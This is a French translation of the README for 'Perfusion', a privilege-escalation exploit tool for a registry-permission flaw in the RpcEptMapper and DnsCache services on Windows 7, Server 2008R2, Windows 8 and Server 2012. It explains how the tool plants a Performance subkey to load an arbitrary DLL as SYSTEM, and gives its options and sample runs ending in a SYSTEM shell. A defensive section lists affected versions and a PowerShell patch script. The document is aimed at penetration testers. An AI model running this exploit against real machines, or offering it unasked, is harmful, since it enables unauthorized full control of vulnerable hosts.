
Exploit pour la vulnérabilité des autorisations de clé de registre RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012)
Sur Windows 7, Windows Server 2008R2, Windows 8 et Windows Server 2012, la clé de registre des services RpcEptMapper et DnsCache (uniquement 7/2008R2) est configurée avec des autorisations faibles. Tout utilisateur local peut créer une sous-clé Performance, puis exploiter les compteurs de performances Windows pour charger une DLL arbitraire dans le contexte du service WMI en tant que NT AUTHORITY\SYSTEM (d'où le nom de l'outil).
Cet outil est conçu pour aider les consultants en sécurité lors de tests d'intrusion. Ce logiciel est fourni en l'état, et je ne fournirai probablement aucun support. Cependant, je l'ai testé minutieusement sur trois machines virtuelles différentes, il ne devrait donc y avoir aucun problème majeur.
Pour plus d'informations : https://itm4n.github.io/windows-registry-rpceptmapper-eop/
D'après 0patch, cette vulnérabilité a été partiellement corrigée avec la mise à jour Windows d'avril 2021 (ESU). Cela signifie que les machines exécutant une version mise à jour de Windows 8 / Server 2012 ne devraient plus être exploitables. Cependant, Windows 7 / Server 2008 R2 reste vulnérable. Il suffit d'utiliser la clé de registre Dnscache plutôt que RpcEptMapper. J'ai mis à jour le PoC afin que vous puissiez la spécifier manuellement avec l'option -k.
⚠️ LISEZ CECI AVANT D'UTILISER CET OUTIL ⚠️
Pendant la phase de développement de cet outil, j'ai observé deux comportements différents :
NT AUTHORITY\SYSTEM, dans ce cas l'exploit fonctionne parfaitement.NT AUTHORITY\LOCAL SERVICE. Dans ce cas, le service charge la DLL en usurpant l'identité du client. Il s'avère qu'une élévation de privilèges est toujours possible sur Windows 7 (à cause d'une autre vulnérabilité) mais le coût d'implémentation n'en valait pas la peine.Je ne peux pas expliquer cette différence car mon code de déclenchement était toujours le même. Quoi qu'il en soit, dans les deux cas, laissez l'exploit faire son travail afin qu'il puisse tout nettoyer une fois terminé. Si l'exploit échoue, il y a encore une chance qu'il fonctionne quelques minutes ou heures plus tard.
✔️ Voici ce que vous devriez voir lorsque l'exploit fonctionne :
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.
C:\Temp>whoami
nt authority\system
C:\Temp>
❌ Voici ce que vous devriez voir lorsque l'exploit échoue :
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
C:\Temp>
Cette solution se compose de deux projets qui doivent être compilés dans un ordre spécifique. Tout est préconfiguré, il vous suffit de suivre ces instructions simples :
Release / x64Build > Build SolutionVous pouvez consulter le message d'aide en utilisant l'option -h.
C:\TOOLS>Perfusion.exe -h
_____ ___ _
| _ |___ ___| _|_ _ ___|_|___ ___
| __| -_| _| _| | |_ -| | . | | version 0.2
|__| |___|_| |_| |___|___|_|___|_|_| by @itm4n
Description:
Exploit tool for the RpcEptMapper registry key vulnerability.
Options:
-c <CMD> Command - Execute the specified command line
-i Interactive - Interact with the process (default: non-interactive)
-d Desktop - Spawn a new process on your desktop (default: hidden)
-k <KEY> Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
-h Help - That's me :)
Les versions de Windows suivantes sont vulnérables :
| Version Windows | Clés de registre vulnérables |
|---|---|
| Windows 7 | RpcEptMapper, DnsCache |
| Windows Server 2008R2 | RpcEptMapper, DnsCache |
| Windows 8 | RpcEptMapper |
| Windows Server 2012 | RpcEptMapper |
À ma connaissance, cette vulnérabilité ne sera pas corrigée par Microsoft, pour une raison quelconque. La meilleure solution reste de passer à Windows 10 / Server 2019, mais si ce n'est pas une option à court terme, vous pouvez corriger ce problème vous-même en supprimant l'autorisation CreateSubKey pour NT AUTHORITY\Authenticated Users et BUILTIN\Users sur les clés de registre suivantes :
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperHKLM\SYSTEM\CurrentControlSet\Services\DnsCacheJ'ai créé un correctif pour cette vulnérabilité sous la forme d'un script PowerShell : RegistryPatch.ps1. Ce script supprime le droit CreateSubKey sur les deux clés de registre mentionnées ci-dessus pour les identités suivantes : NT AUTHORITY\INTERACTIVE, BUILTIN\Users et/ou BUILTIN\Authenticated Users.
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True
Voici les étapes de l'exploit implémenté dans cet outil :
Temp de l'utilisateur actuel.Performance est créée sous HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper et est renseignée avec les valeurs appropriées, y compris le chemin complet de la DLL créée à l'étape 2.Win32_Perf est créée et invoquée pour déclencher la collecte des compteurs de performances Windows.NT AUTHORITY\SYSTEM soit en tant que NT AUTHORITY\LOCAL SERVICE.NT AUTHORITY\SYSTEM, son jeton est dupliqué et appliqué au processus créé initialement par l'utilisateur à l'étape 1.